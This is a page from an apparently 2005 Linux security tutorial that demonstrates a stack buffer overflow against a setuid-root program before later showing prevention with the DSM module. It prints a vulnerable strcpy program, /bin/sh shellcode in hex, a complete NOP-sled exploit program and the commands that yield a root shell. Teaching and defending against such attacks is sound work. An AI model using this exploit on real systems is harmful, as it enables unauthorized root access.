November 21, 2014
 
 
RSSRSS feed

Preventing Buffer Overflow Exploits Using the Linux Distributed Security Module, Part 1 - page 4

Introduction

  • December 12, 2005
  • By Ibrahim Haddad

In this section, we provide an exercise to demonstrate a buffer overflow exploit. We will then use the same example however with the DSM module loaded to show how DSM can prevent such exploits from taking place.

Below we present are the steps you need to follow to demonstrate a successful buffer overflow exploit:

  1. Find a process that is vulnerable to the buffer overflow exploits
  2. In order to inject the most damage, the process should run with root privileges.
  3. Decide what to execute as a result of buffer overflow exploit
  4. Find a way from the vulnerable process to start the chosen process

For our exercise, we created the following program that we will try to overflow (Listing 3):

void main(int argc, char *argv[]) 
{
char buffer[512];
		
if (argc > 1)
strcpy(buffer,argv[1]);
}

Listing 3: vulnerable.c

The sample program in Listing 3 copies the input string to its internal buffer without checking the buffer size. Our target result is to have a process runs with root privileges; this way when the buffer overflow exploits takes place, the result will be gaining root privileges. Usually a process takes the privileges of the user that started it. However, in the case of a SUID process, the program inherits the privileges of the executable file, not the user, when executed. Therefore, we assume that our executable file (vulnerable) was created with root privileges.

Now we need to decide what program we want to run because of a buffer overflow exploit. In this example, we will start the shell with root privileges. The code looks as follows (Listing 4):

#include 

void main()
{
char *name[2];

name[0] = �/bin/sh�;
name[1] = NULL;

execve(name[0], name, NULL);
}

Listing 4: shellcode.c

We need to find a machine code representation of the above C code, in order to store it in the overflowing buffer. The code must be position independent because we do not know what will be the address of the local buffer on the stack. The code cannot contain any '\0' byte because the strcpy function will stop copying after finding such a character. To find out how the code looks like in assembly language, we compile it and start the GDB debugger:

$ gcc  -o shellcode �ggdb �static shellcode.c
$ gdb shellcode
$ (gdb) disassemble main
$ (gdb) x/bx main+1
$ (gdb) x/bx main+2 (and so on...)

After modifying the assembler code that it is position independent, finding out its machine representation and replacing all '\0' characters, we will get a code in the machine language, which can be stored in a buffer (the details of obtaining such code can be found here):

char shellcode[] =
 		 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 		 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  		 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Listing 5: shell code in hex notation

This buffer (Listing 5) contains the code that will run as the result of the overflow exploit.

So far, we have one program used as a vulnerable program (Listing 3). We will now create the program that we will use as the exploit program (Listing 6):

#include 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             612
#define NOP                            0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
      __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;

      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);

      if (!(buff = malloc(bsize))) {
             printf("Can't allocate memory.\n");
             exit(0);
      }


      addr = get_esp() - offset;
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
      *(addr_ptr++) = addr;

      ptr = buff;
      for (i = 0; i < bsize/2; i++)
             *(ptr++) = NOP;

      for (i = 0; i < strlen(shellcode); i++)
             *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';
      memcpy(buff,"RET=",4);
      putenv(buff);
      system("/bin/sh");
}

Listing 6: exploit.c Demonstrating a Buffer Overflow exploit

The purpose of this sample exercise is to demonstrate a buffer overflow exploit; we will later use the same example when we prevent this exploit using the DSM module. To demonstrate the exploit, please follow these steps:

  1. Compile exploit.c and vulnerable.c programs:
    $gcc �o exploit exploit.c
    $gcc �o vulnerable vulnerable.c
    
  2. Modify the link of /bin/sh in case it is bash or tcsh. The reason is that bash and tcsh restrict setuid execution of itself; therefore we must create link to another shell:
    $ su
    $ cd /bin
    $ mv sh sh.bak
    $ ln �s ash sh
    $ exit
    
  3. Change the user of the vulnerable executable and set the setuid bit; this will set the userid of the current user to the one of the owner when executing this program:
    $su
    $chown root:root vulnerable
    $chmod +s vulnerable
    $exit
    
  4. Create the buffer in an environment variable as a normal user:
    $whoami
    user
    $./exploit
    
  5. Execute the vulnerable program:
    $./vulnerable $RET
    

    At this point, we should have gained root privileges:

    $whoami
    root 
    

    Et Voil�! The shell is started with root privileges. Very simple procedure, yet very dangerous.

  6. Next, we exit from the buffer overflow and the exploit spanned shell:
    $exit 
    $exit   
    
  7. Restore the original shell
    $ mv sh.bak sh
    

In this exercise, we demonstrated how to invoke a buffer overflow exploit using very simple programs. In Part 2, we will list existing solutions and go into details on how to prevent such unfortunate incidents using DSM.

Sitemap | Contact Us